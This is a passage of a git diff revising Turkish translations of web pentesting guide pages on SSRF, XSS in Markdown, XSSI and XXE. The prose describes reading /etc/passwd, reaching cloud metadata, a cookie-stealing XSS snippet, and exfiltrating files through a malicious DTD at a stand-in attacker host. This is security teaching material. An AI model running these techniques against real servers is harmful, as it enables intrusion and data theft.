yöntem kullanmanız gerekecek (örneğin, ` @@ -81,7 +81,7 @@ Bu güvenlik açığını istismar etmenin en uygun yolu, botun yerel olarak kon > [!WARNING] > `file:///etc/passwd` yerine `http://169.254.169.254/latest/user-data` değiştirin, örneğin **harici bir web sayfasına erişmeye çalışmak için (SSRF)**. > -> Eğer SSRF'ye izin veriliyorsa, ancak ilginç bir alan adı veya IP'ye **ulaşamıyorsanız**, [bypass'lar için bu sayfayı kontrol edin](../ssrf-server-side-request-forgery/url-format-bypass.md). +> Eğer SSRF'ye izin veriliyorsa, ancak ilginç bir alan adına veya IP'ye **ulaşamıyorsanız**, [bypass'lar için bu sayfayı kontrol edin](../ssrf-server-side-request-forgery/url-format-bypass.md). ```markup ` . Bu nedenle bu örnekte `opener` kullanımını açıkça belirtmenize gerek yoktur. +- [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/) adresinde bir güvenlik açığı örneği bulabilirsiniz. +- Bu örnekte sunucunun **javascript kodu ürettiğini** ve **bunu** geri çağırma parametresinin **içeriğine** dayanarak HTML'ye eklediğini unutmayın: `` . Bu nedenle bu örnekte `opener` kullanımını açıkça belirtmenize gerek yoktur. - Ayrıca bu CTF yazısını kontrol edin: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068) ## References diff --git a/src/pentesting-web/xss-cross-site-scripting/steal-info-js.md b/src/pentesting-web/xss-cross-site-scripting/steal-info-js.md index fdc7fc30d..34cca2c48 100644 --- a/src/pentesting-web/xss-cross-site-scripting/steal-info-js.md +++ b/src/pentesting-web/xss-cross-site-scripting/steal-info-js.md @@ -1,4 +1,4 @@ -# Bilgi Çalma JS +# Bilgi Çal JS {{#include ../../banners/hacktricks-training.md}} ```javascript diff --git a/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md b/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md index a572ffa9f..6f91fa0ad 100644 --- a/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md +++ b/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -Markdown'da kod enjekte etme şansınız varsa, kod yorumlandığında bir XSS tetiklemek için kullanabileceğiniz birkaç seçenek vardır. +Markdown'da kod enjekte etme şansınız varsa, kod yorumlandığında XSS'yi tetiklemek için kullanabileceğiniz birkaç seçenek vardır. ### HTML etiketleri @@ -42,7 +42,7 @@ t:prompt(document.cookie)) ``` ### HTML Sanitiser Markdown Bypass -Aşağıdaki kod **HTML girişi temizliyor** ve ardından **markdown ayrıştırıcısına geçiriyor**, bu durumda, XSS, Markdown ve DOMPurify arasındaki yanlış yorumlamalardan faydalanarak tetiklenebilir. +Aşağıdaki kod **HTML girdisini temizliyor** ve ardından **markdown ayrıştırıcısına geçiriyor**, bu durumda, XSS, Markdown ve DOMPurify arasındaki yanlış yorumlamalardan yararlanarak tetiklenebilir. ```html diff --git a/src/pentesting-web/xssi-cross-site-script-inclusion.md b/src/pentesting-web/xssi-cross-site-script-inclusion.md index 711b0a5c6..9a7e557ea 100644 --- a/src/pentesting-web/xssi-cross-site-script-inclusion.md +++ b/src/pentesting-web/xssi-cross-site-script-inclusion.md @@ -8,8 +8,8 @@ ### **XSSI**'nin Ana Özellikleri: -- **SOP'yi Aşma**: Scriptler, alanlar arası dahil edilmelerine izin veren **Same-Origin Policy**'den muaf tutulur. -- **Veri Açığa Çıkma**: Bir saldırgan, `script` etiketi aracılığıyla yüklenen verileri okumak için bu davranışı istismar edebilir. +- **SOP'yi Aşma**: Scriptler **Same-Origin Policy**'den muaf tutulur, bu da onların farklı alanlar arasında dahil edilmesine olanak tanır. +- **Veri Açığa Çıkma**: Bir saldırgan, bu davranışı kullanarak `script` etiketi aracılığıyla yüklenen verileri okuyabilir. - **Dinamik JavaScript/JSONP Üzerindeki Etki**: **XSSI**, özellikle dinamik JavaScript veya **JSON with Padding (JSONP)** için geçerlidir. Bu teknolojiler genellikle kimlik doğrulama için "ambient-authority" bilgilerini (çerezler gibi) kullanır. Farklı bir ana bilgisayara script isteği yapıldığında, bu kimlik bilgileri (örneğin, çerezler) isteğe otomatik olarak dahil edilir. - **Kimlik Doğrulama Token'ı Sızıntısı**: Bir saldırgan, bir kullanıcının tarayıcısını kontrol ettikleri bir sunucudan script istemeye kandırabilirse, bu isteklere dahil olan hassas bilgilere erişebilir. @@ -20,18 +20,18 @@ 3. **Dinamik JavaScript** - İçeriği dinamik olarak üreten JavaScript'i içerir. 4. **JavaScript Olmayan** - Doğrudan JavaScript içermeyen güvenlik açıklarını ifade eder. -**Aşağıdaki bilgi, [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)** adresinin bir özetidir. Daha fazla ayrıntı için kontrol edin. +**Aşağıdaki bilgiler, [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)** adresinin bir özetidir. Daha fazla ayrıntı için kontrol edin. ### Normal XSSI -Bu yaklaşımda, özel bilgiler genel olarak erişilebilir bir JavaScript dosyasına gömülmüştür. Saldırganlar, dosya okuma, anahtar kelime arama veya düzenli ifadeler gibi yöntemler kullanarak bu dosyaları tanımlayabilir. Bulunduktan sonra, özel bilgi içeren script, kötü niyetli içerik içinde dahil edilerek hassas verilere yetkisiz erişim sağlanabilir. Aşağıda bir örnek istismar tekniği gösterilmektedir: +Bu yaklaşımda, özel bilgiler genel olarak erişilebilir bir JavaScript dosyasına gömülmüştür. Saldırganlar, dosya okuma, anahtar kelime arama veya düzenli ifadeler gibi yöntemler kullanarak bu dosyaları tespit edebilir. Bulunduktan sonra, özel bilgileri içeren script, kötü niyetli içeriklere dahil edilerek hassas verilere yetkisiz erişim sağlanabilir. Aşağıda bir örnek istismar tekniği gösterilmektedir: ```html ``` -### Dinamik-JavaScript-tabanlı-XSSI ve Kimlik Doğrulanmış-JavaScript-XSSI +### Dinamik-JavaScript-tabanlı-XSSI ve Kimlik Doğrulamalı-JavaScript-XSSI Bu tür XSSI saldırıları, bir kullanıcının isteğine yanıt olarak gizli bilgilerin dinamik olarak script'e eklenmesini içerir. Tespit, çerezlerle ve çerez olmadan istekler göndererek ve yanıtları karşılaştırarak yapılabilir. Eğer bilgiler farklıysa, bu gizli bilgilerin varlığını gösterebilir. Bu süreç, [DetectDynamicJS](https://github.com/luh2/DetectDynamicJS) Burp uzantısı gibi araçlar kullanılarak otomatikleştirilebilir. diff --git a/src/pentesting-web/xxe-xee-xml-external-entity.md b/src/pentesting-web/xxe-xee-xml-external-entity.md index d835bfc6a..a3c2e77c9 100644 --- a/src/pentesting-web/xxe-xee-xml-external-entity.md +++ b/src/pentesting-web/xxe-xee-xml-external-entity.md @@ -5,10 +5,10 @@ ## XML Temelleri -XML, veri depolama ve taşıma için tasarlanmış bir işaretleme dilidir ve açıklayıcı şekilde adlandırılmış etiketlerin kullanılmasına olanak tanıyan esnek bir yapıya sahiptir. HTML'den, önceden tanımlanmış etiket seti ile sınırlı olmamasıyla ayrılır. JSON'un yükselişi ile birlikte XML'in önemi azalmıştır, ancak AJAX teknolojisindeki ilk rolü nedeniyle hala önemlidir. +XML, veri depolama ve taşıma için tasarlanmış bir işaretleme dilidir ve açıklayıcı şekilde adlandırılmış etiketlerin kullanılmasına olanak tanıyan esnek bir yapıya sahiptir. HTML'den, önceden tanımlanmış etiket seti ile sınırlı olmamasıyla ayrılır. JSON'un yükselişi ile birlikte XML'in önemi azalmıştır, buna rağmen AJAX teknolojisindeki ilk rolü önemlidir. -- **Varlıklar aracılığıyla Veri Temsili**: XML'deki varlıklar, `<` ve `>` ile çelişki yaşamamak için `<` ve `>` gibi özel karakterler de dahil olmak üzere verilerin temsilini sağlar. -- **XML Elemanlarını Tanımlama**: XML, eleman türlerinin tanımlanmasına olanak tanır ve elemanların nasıl yapılandırılacağını ve hangi içeriği içerebileceğini belirler; bu, her türlü içerikten belirli alt elemanlara kadar uzanabilir. +- **Varlıklar aracılığıyla Veri Temsili**: XML'deki varlıklar, `<` ve `>` ile çakışmayı önlemek için `<` ve `>` gibi özel karakterler de dahil olmak üzere verilerin temsilini sağlar. +- **XML Elemanlarını Tanımlama**: XML, eleman türlerinin tanımlanmasına olanak tanır, elemanların nasıl yapılandırılacağını ve hangi içeriği içerebileceğini belirler; bu, her türlü içerikten belirli alt elemanlara kadar uzanabilir. - **Belge Türü Tanımı (DTD)**: DTD'ler, XML'de belgenin yapısını ve içerebileceği veri türlerini tanımlamak için kritik öneme sahiptir. DTD'ler içsel, dışsal veya bir kombinasyon olabilir ve belgelerin nasıl biçimlendirileceği ve doğrulanacağı konusunda rehberlik eder. - **Özel ve Dış Varlıklar**: XML, esnek veri temsili için bir DTD içinde özel varlıkların oluşturulmasını destekler. URL ile tanımlanan dış varlıklar, özellikle XML Dış Varlık (XXE) saldırıları bağlamında güvenlik endişeleri doğurur; bu saldırılar, XML ayrıştırıcılarının dış veri kaynaklarını nasıl işlediğini istismar eder: ` ]>` - **Parametre Varlıkları ile XXE Tespiti**: XXE zafiyetlerini tespit etmek için, özellikle geleneksel yöntemlerin ayrıştırıcı güvenlik önlemleri nedeniyle başarısız olduğu durumlarda, XML parametre varlıkları kullanılabilir. Bu varlıklar, zafiyeti doğrulamak için kontrol edilen bir alan adına DNS sorguları veya HTTP istekleri tetikleme gibi dışarıdan tespit tekniklerine olanak tanır. @@ -21,7 +21,7 @@ XML, veri depolama ve taşıma için tasarlanmış bir işaretleme dilidir ve a ### Yeni Varlık testi -Bu saldırıda basit bir yeni VARYETİK beyanının çalışıp çalışmadığını test edeceğim. +Bu saldırıda basit bir yeni VARLIK beyanının çalışıp çalışmadığını test edeceğim. ```xml ]> @@ -50,7 +50,7 @@ Bu ikinci durum, web sunucusu PHP kullanıyorsa bir dosya çıkarmak için fayda ]> &example; ``` -Bu üçüncü durumda `Element stockCheck`'i ANY olarak tanımladığımıza dikkat edin. +Bu üçüncü durumda, `Element stockCheck` ifadesini ANY olarak tanımladığımıza dikkat edin. ```xml ]> @@ -84,17 +84,17 @@ Bir XXE, bir bulut içindeki SSRF'yi kötüye kullanmak için kullanılabilir. ``` ### Blind SSRF -**Daha önce bahsedilen tekniği** kullanarak sunucunun kontrol ettiğiniz bir sunucuya erişmesini sağlayarak zayıf olduğunu gösterebilirsiniz. Ancak, bu işe yaramıyorsa, belki de **XML varlıklarına izin verilmediğindendir**, bu durumda **XML parametre varlıklarını** kullanmayı deneyebilirsiniz: +**Daha önce bahsedilen teknik** kullanarak sunucunun kontrol ettiğiniz bir sunucuya erişmesini sağlayarak zayıf olduğunu gösterebilirsiniz. Ancak, bu işe yaramıyorsa, belki de **XML varlıklarına izin verilmediği** içindir, bu durumda **XML parametre varlıkları** kullanmayı deneyebilirsiniz: ```xml %xxe; ]> 3;1 ``` -### "Kör" SSRF - Veriyi dışarıya sızdırma +### "Blind" SSRF - Dışı kanaldan veri sızdırma -**Bu durumda, sunucunun, bir dosyanın içeriğini HTTP isteği aracılığıyla gönderecek kötü niyetli bir yük ile yeni bir DTD yüklemesini sağlayacağız (çok satırlı dosyalar için bunu \_ftp://**\_ aracılığıyla dışarıya sızdırmayı deneyebilirsiniz, örneğin bu temel sunucuyu kullanarak [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Bu açıklama,** [**Portswiggers lab burada**](https://portswigger.net/web-security/xxe/blind)** temel alınarak yapılmıştır.** +**Bu durumda, sunucunun, bir dosyanın içeriğini HTTP isteği aracılığıyla gönderecek kötü niyetli bir yük ile yeni bir DTD yüklemesini sağlayacağız (çok satırlı dosyalar için bunu \_ftp://**\_ aracılığıyla sızdırmayı deneyebilirsiniz, örneğin bu temel sunucuyu kullanarak [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Bu açıklama,** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**'e dayanmaktadır.** -Verilen kötü niyetli DTD'de, veriyi dışarıya sızdırmak için bir dizi adım gerçekleştirilir: +Verilen kötü niyetli DTD'de, verileri sızdırmak için bir dizi adım gerçekleştirilir: ### Kötü Niyetli DTD Örneği: @@ -109,9 +109,9 @@ Bu DTD tarafından yürütülen adımlar şunlardır: 1. **Parametre Varlıklarının Tanımı:** - Bir XML parametre varlığı, `%file`, `/etc/hostname` dosyasının içeriğini okuyan bir varlık olarak oluşturulur. -- Başka bir XML parametre varlığı, `%eval`, tanımlanır. Bu, dinamik olarak yeni bir XML parametre varlığı olan `%exfiltrate`'i beyan eder. `%exfiltrate` varlığı, `%file` varlığının içeriğini URL'nin sorgu dizesi içinde geçirerek saldırganın sunucusuna bir HTTP isteği yapacak şekilde ayarlanır. +- Başka bir XML parametre varlığı, `%eval`, tanımlanır. Bu, dinamik olarak yeni bir XML parametre varlığı olan `%exfiltrate`'i bildirir. `%exfiltrate` varlığı, `%file` varlığının içeriğini URL'nin sorgu dizesi içinde geçirerek saldırganın sunucusuna bir HTTP isteği yapacak şekilde ayarlanır. 2. **Varlıkların Yürütülmesi:** -- `%eval` varlığı kullanılır, bu da `%exfiltrate` varlığının dinamik beyanının yürütülmesine yol açar. +- `%eval` varlığı kullanılır, bu da `%exfiltrate` varlığının dinamik tanımının yürütülmesine yol açar. - Ardından `%exfiltrate` varlığı kullanılır ve dosyanın içeriği ile belirtilen URL'ye bir HTTP isteği tetiklenir. Saldırgan, bu kötü niyetli DTD'yi kontrolü altındaki bir sunucuda barındırır, genellikle `http://web-attacker.com/malicious.dtd` gibi bir URL'de. @@ -122,7 +122,7 @@ Saldırgan, bu kötü niyetli DTD'yi kontrolü altındaki bir sunucuda barındı %xxe;]> 3;1 ``` -Bu yük, bir XML parametre varlığı `%xxe` tanımlar ve bunu DTD içinde entegre eder. Bir XML ayrıştırıcısı tarafından işlendiğinde, bu yük, saldırganın sunucusundan dış DTD'yi alır. Ardından, ayrıştırıcı DTD'yi satır içi olarak yorumlar, kötü niyetli DTD'de belirtilen adımları yürütür ve `/etc/hostname` dosyasının saldırganın sunucusuna sızdırılmasına yol açar. +Bu yük, bir XML parametre varlığı `%xxe` tanımlar ve bunu DTD içinde entegre eder. Bir XML ayrıştırıcısı tarafından işlendiğinde, bu yük saldırganın sunucusundan dış DTD'yi alır. Ardından, ayrıştırıcı DTD'yi satır içi olarak yorumlar, kötü niyetli DTD'de belirtilen adımları yürütür ve `/etc/hostname` dosyasının saldırganın sunucusuna sızdırılmasına yol açar. ### Hata Tabanlı (Dış DTD) @@ -130,8 +130,8 @@ Bu yük, bir XML parametre varlığı `%xxe` tanımlar ve bunu DTD içinde enteg Kötü niyetli bir dış Belge Türü Tanımı (DTD) kullanılarak, `/etc/passwd` dosyasının içeriğini ortaya çıkaran bir XML ayrıştırma hata mesajı tetiklenebilir. Bu, aşağıdaki adımlar aracılığıyla gerçekleştirilir: -1. `/etc/passwd` dosyasının içeriğini içeren `file` adında bir XML parametre varlığı tanımlanır. -2. `error` adında başka bir XML parametre varlığı için dinamik bir tanım içeren `eval` adında bir XML parametre varlığı tanımlanır. Bu `error` varlığı değerlendirildiğinde, var olmayan bir dosyayı yüklemeye çalışır ve `file` varlığının içeriğini ad olarak kullanır. +1. `file` adında bir XML parametre varlığı tanımlanır; bu, `/etc/passwd` dosyasının içeriğini içerir. +2. `eval` adında bir XML parametre varlığı tanımlanır; bu, `error` adında başka bir XML parametre varlığı için dinamik bir tanım içerir. Bu `error` varlığı değerlendirildiğinde, var olmayan bir dosyayı yüklemeye çalışır ve `file` varlığının içeriğini ad olarak kullanır. 3. `eval` varlığı çağrılır, bu da `error` varlığının dinamik tanımını oluşturur. 4. `error` varlığının çağrılması, var olmayan bir dosyayı yüklemeye çalışır ve dosya adının bir parçası olarak `/etc/passwd` dosyasının içeriğini içeren bir hata mesajı üretir. @@ -141,17 +141,17 @@ Kötü niyetli dış DTD, aşağıdaki XML ile çağrılabilir: %xxe;]> 3;1 ``` -Web sunucusunun yanıtı, `/etc/passwd` dosyasının içeriğini gösteren bir hata mesajı içermelidir. +Yürütme sırasında, web sunucusunun yanıtı `/etc/passwd` dosyasının içeriğini gösteren bir hata mesajı içermelidir. ![](<../images/image (809).png>) -_**Lütfen harici DTD'nin, bir varlığı ikinci bir varlık içinde dahil etmemize izin verdiğini, ancak dahili DTD'de bunun yasaklandığını unutmayın. Bu nedenle, harici bir DTD kullanmadan (genellikle) bir hatayı zorlayamazsınız.**_ +_**Lütfen harici DTD'nin, bir varlığı ikinci bir varlık içinde dahil etmemize izin verdiğini (\*\***`eval`\***\*), ancak bunun dahili DTD'de yasaklandığını unutmayın. Bu nedenle, harici bir DTD kullanmadan (genellikle) bir hatayı zorlayamazsınız.**_ ### **Hata Tabanlı (sistem DTD)** -Peki, **dışa dönük etkileşimlerin engellendiği** kör XXE zafiyetleri hakkında ne düşünüyorsunuz (harici bağlantılar mevcut değil)? +Peki, **dışa dönük etkileşimlerin engellendiği** kör XXE zafiyetleri hakkında ne düşünüyorsunuz? -XML dil spesifikasyonundaki bir boşluk, **bir belgenin DTD'si iç ve dış tanımlamaları birleştirdiğinde hassas verileri hata mesajları aracılığıyla açığa çıkarabilir**. Bu sorun, harici olarak tanımlanan varlıkların dahili yeniden tanımlanmasına olanak tanır ve hata tabanlı XXE saldırılarının gerçekleştirilmesini kolaylaştırır. Bu tür saldırılar, harici bir DTD'de orijinal olarak tanımlanan bir XML parametre varlığının, dahili bir DTD içinden yeniden tanımlanmasını istismar eder. Sunucu tarafından dışa dönük bağlantılar engellendiğinde, saldırganlar saldırıyı gerçekleştirmek için yerel DTD dosyalarına güvenmek zorundadır ve hassas bilgileri açığa çıkarmak için bir ayrıştırma hatası indüklemeyi hedeflerler. +XML dil spesifikasyonundaki bir boşluk, **bir belgenin DTD'si iç ve dış bildirimleri karıştırdığında hata mesajları aracılığıyla hassas verileri açığa çıkarabilir**. Bu sorun, harici olarak tanımlanan varlıkların dahili olarak yeniden tanımlanmasına olanak tanır ve hata tabanlı XXE saldırılarının gerçekleştirilmesini kolaylaştırır. Bu tür saldırılar, harici bir DTD'de orijinal olarak tanımlanan bir XML parametre varlığının, dahili bir DTD içinden yeniden tanımlanmasını istismar eder. Sunucu tarafından dışa dönük bağlantılar engellendiğinde, saldırganlar saldırıyı gerçekleştirmek için yerel DTD dosyalarına güvenmek zorundadır ve hassas bilgileri açığa çıkarmak için bir ayrıştırma hatası indüklemeyi hedeflerler. Sunucunun dosya sisteminde `/usr/local/app/schema.dtd` konumunda `custom_entity` adında bir varlık tanımlayan bir DTD dosyası olduğunu düşünün. Bir saldırgan, aşağıdaki gibi bir hibrit DTD göndererek `/etc/passwd` dosyasının içeriğini açığa çıkaran bir XML ayrıştırma hatası indükleyebilir: ```xml @@ -170,7 +170,7 @@ Açıklanan adımlar bu DTD tarafından yürütülmektedir: - `local_dtd` adlı bir XML parametre varlığının tanımı, sunucunun dosya sisteminde bulunan dış DTD dosyasını içerir. - Dış DTD'de orijinal olarak tanımlanan `custom_entity` XML parametre varlığı için bir yeniden tanım yapılır; bu, bir [hata tabanlı XXE istismarı](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) kapsamak üzere tasarlanmıştır. Bu yeniden tanım, `/etc/passwd` dosyasının içeriğini açığa çıkaran bir ayrıştırma hatası oluşturmak için tasarlanmıştır. -- `local_dtd` varlığını kullanarak, dış DTD devreye alınır ve yeni tanımlanan `custom_entity`'yi kapsar. Bu eylemler dizisi, istismara yönelik hata mesajının iletilmesine neden olur. +- `local_dtd` varlığını kullanarak, dış DTD devreye alınır ve yeni tanımlanan `custom_entity`'yi kapsar. Bu eylemler dizisi, istismar için hedeflenen hata mesajının iletilmesine neden olur. **Gerçek dünya örneği:** GNOME masaüstü ortamını kullanan sistemler genellikle `/usr/share/yelp/dtd/docbookx.dtd` konumunda `ISOamso` adlı bir varlık içeren bir DTD'ye sahiptir. ```xml @@ -189,7 +189,7 @@ Açıklanan adımlar bu DTD tarafından yürütülmektedir: ``` ![](<../images/image (625).png>) -Bu teknik **içsel DTD kullanıyorsa, önce geçerli bir tane bulmanız gerekir**. Bunu, sunucunun kullandığı aynı **İşletim Sistemi / Yazılımı** **kurarak** ve bazı varsayılan DTD'leri **arama yaparak** veya sistemler içindeki **varsayılan DTD'lerin bir listesini alarak** ve bunlardan herhangi birinin var olup olmadığını **kontrol ederek** yapabilirsiniz: +Bu teknik **içsel DTD kullanıyor, bu yüzden önce geçerli bir tane bulmalısınız**. Bunu **sunucunun kullandığı aynı **OS / Yazılımı** yükleyerek ve **bazı varsayılan DTD'leri** arayarak yapabilirsiniz veya sistemler içindeki **varsayılan DTD'lerin bir listesini** alıp **kontrol** edebilirsiniz. ```xml @@ -220,15 +220,15 @@ Testing 0 entities : [] Bu saldırının daha derin bir açıklaması için, **Detectify'den** [**bu harika yazının**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **ikinci bölümüne göz atın**. -**Microsoft Office belgelerini yükleme yeteneği birçok web uygulaması tarafından sunulmaktadır**, bu uygulamalar daha sonra bu belgelerden belirli ayrıntıları çıkarmaya devam eder. Örneğin, bir web uygulaması kullanıcıların XLSX formatında bir elektronik tablo yükleyerek veri içe aktarmasına izin verebilir. Parçacının elektronik tablodan verileri çıkarması için, en az bir XML dosyasını ayrıştırması gerekecektir. +**Microsoft Office belgelerini yükleme yeteneği birçok web uygulaması tarafından sunulmaktadır**, bu uygulamalar daha sonra bu belgelerden belirli ayrıntıları çıkarmaya devam eder. Örneğin, bir web uygulaması kullanıcıların bir XLSX formatında elektronik tablo yükleyerek veri içe aktarmasına izin verebilir. Ayrıştırıcının verileri elektronik tablodan çıkarması için, en az bir XML dosyasını ayrıştırması kaçınılmazdır. -Bu güvenlik açığını test etmek için, **XXE yükü içeren bir Microsoft Office dosyası oluşturmak** gereklidir. İlk adım, belgenin çıkarılabileceği boş bir dizin oluşturmaktır. +Bu güvenlik açığını test etmek için, **bir XXE yükü içeren bir Microsoft Office dosyası oluşturmak** gereklidir. İlk adım, belgenin çıkarılabileceği boş bir dizin oluşturmaktır. Belge çıkarıldıktan sonra, `./unzipped/word/document.xml` konumundaki XML dosyası tercih edilen bir metin düzenleyicisinde (örneğin vim) açılmalı ve düzenlenmelidir. XML, genellikle bir HTTP isteği ile başlayan istenen XXE yükünü içerecek şekilde değiştirilmelidir. -Değiştirilen XML satırları, iki kök XML nesnesi arasında yerleştirilmelidir. URL'nin izlenebilir bir istek URL'si ile değiştirilmesi önemlidir. +Değiştirilen XML satırları iki kök XML nesnesinin arasına yerleştirilmelidir. URL'nin izlenebilir bir URL ile değiştirilmesi önemlidir. -Son olarak, dosya kötü niyetli poc.docx dosyasını oluşturmak için sıkıştırılabilir. Daha önce oluşturulan "unzipped" dizininden aşağıdaki komut çalıştırılmalıdır: +Son olarak, dosya kötü niyetli poc.docx dosyasını oluşturmak için sıkıştırılabilir. Önceden oluşturulan "unzipped" dizininden aşağıdaki komut çalıştırılmalıdır: Artık oluşturulan dosya potansiyel olarak savunmasız web uygulamasına yüklenebilir ve Burp Collaborator günlüklerinde bir isteğin görünmesi umulabilir. @@ -245,12 +245,12 @@ jar:https://download.host.com/myarchive.zip!/file.txt PKZIP arşivindeki bir dosyaya jar protokolü aracılığıyla erişim süreci birkaç adımdan oluşur: 1. Belirtilen bir konumdan, örneğin `https://download.website.com/archive.zip`, zip arşivini indirmek için bir HTTP isteği yapılır. -2. Arşivi içeren HTTP yanıtı, genellikle `/tmp/...` gibi bir konumda geçici olarak sistemde saklanır. +2. Arşivi içeren HTTP yanıtı, genellikle `/tmp/...` gibi bir konumda sistemde geçici olarak saklanır. 3. Arşiv, içeriğine erişmek için çıkarılır. 4. Arşiv içindeki belirli dosya, `file.zip`, okunur. 5. İşlemden sonra, bu süreçte oluşturulan geçici dosyalar silinir. -Bu süreci ikinci adımda kesmek için ilginç bir teknik, arşiv dosyasını sunarken sunucu bağlantısını sonsuz bir süre açık tutmaktır. Bu amaçla [bu depodaki](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) araçlar kullanılabilir; bunlar arasında bir Python sunucusu (`slow_http_server.py`) ve bir Java sunucusu (`slowserver.jar`) bulunmaktadır. +Bu süreci ikinci adımda kesmek için ilginç bir teknik, arşiv dosyasını sunarken sunucu bağlantısını sonsuz bir süre açık tutmaktır. Bu amaçla kullanılabilecek araçlar [bu depoda](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) mevcuttur; bunlar arasında bir Python sunucusu (`slow_http_server.py`) ve bir Java sunucusu (`slowserver.jar`) bulunmaktadır. ```xml ]> &xxe; @@ -309,7 +309,7 @@ Sonra hashcat kullanarak hash'i kırmayı deneyebilirsiniz. ### XInclude -Müşteri verilerini sunucu tarafı XML belgelerine entegre ederken, arka uç SOAP isteklerindeki gibi, XML yapısı üzerinde doğrudan kontrol genellikle sınırlıdır; bu da `DOCTYPE` öğesini değiştirme kısıtlamaları nedeniyle geleneksel XXE saldırılarını engeller. Ancak, bir `XInclude` saldırısı, XML belgesinin herhangi bir veri öğesi içinde dış varlıkların eklenmesine izin vererek bir çözüm sunar. Bu yöntem, sunucu tarafından üretilen bir XML belgesindeki verilerin yalnızca bir kısmı kontrol edilebildiğinde bile etkilidir. +Müşteri verilerini sunucu tarafı XML belgelerine entegre ederken, arka uç SOAP isteklerindeki gibi, XML yapısı üzerinde doğrudan kontrol genellikle sınırlıdır; bu da `DOCTYPE` öğesini değiştirme kısıtlamaları nedeniyle geleneksel XXE saldırılarını engeller. Ancak, bir `XInclude` saldırısı, XML belgesinin herhangi bir veri öğesi içinde dış varlıkların eklenmesine izin vererek bir çözüm sunar. Bu yöntem, yalnızca sunucu tarafından oluşturulan bir XML belgesindeki verilerin bir kısmı kontrol edilebildiğinde bile etkilidir. Bir `XInclude` saldırısını gerçekleştirmek için, `XInclude` ad alanı beyan edilmeli ve hedef dış varlık için dosya yolu belirtilmelidir. Aşağıda, böyle bir saldırının nasıl formüle edilebileceğine dair kısa bir örnek bulunmaktadır: ```xml @@ -333,11 +333,11 @@ Başka bir yöntem, PHP "expect" sarmalayıcısı aracılığıyla **komutları ``` -SVG formatı, sunucunun yazılımının XML işleme yeteneklerini istismar eden saldırıları başlatmak için kullanılır; bu da sağlam girdi doğrulama ve güvenlik önlemlerine olan ihtiyacı vurgular. +SVG format, sunucunun yazılımının XML işleme yeteneklerini istismar eden saldırıları başlatmak için kullanılır, bu da sağlam girdi doğrulama ve güvenlik önlemlerine olan ihtiyacı vurgular. Daha fazla bilgi için [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) adresini kontrol edin! -**Okunan dosyanın veya yürütme sonucunun ilk satırı, oluşturulan görüntünün İÇİNDE görünecektir. Bu nedenle, SVG'nin oluşturduğu görüntüye erişebilmeniz gerekir.** +**Okunan dosyanın veya yürütme sonucunun ilk satırı oluşturulan görüntünün İÇİNDE görünecektir. Bu nedenle, SVG'nin oluşturduğu görüntüye erişebilmeniz gerekir.** ### **PDF - Dosya yükleme** @@ -407,7 +407,7 @@ Bu yalnızca XML sunucusu `data://` protokolünü kabul ederse çalışır. ### UTF-7 -Burada \[**"Encode Recipe**" of cyberchef kullanabilirsiniz\]([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) UTF-7'ye dönüştürmek için. +Burada \[**"Encode Recipe**" of cyberchef kullanabilirsiniz\]([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 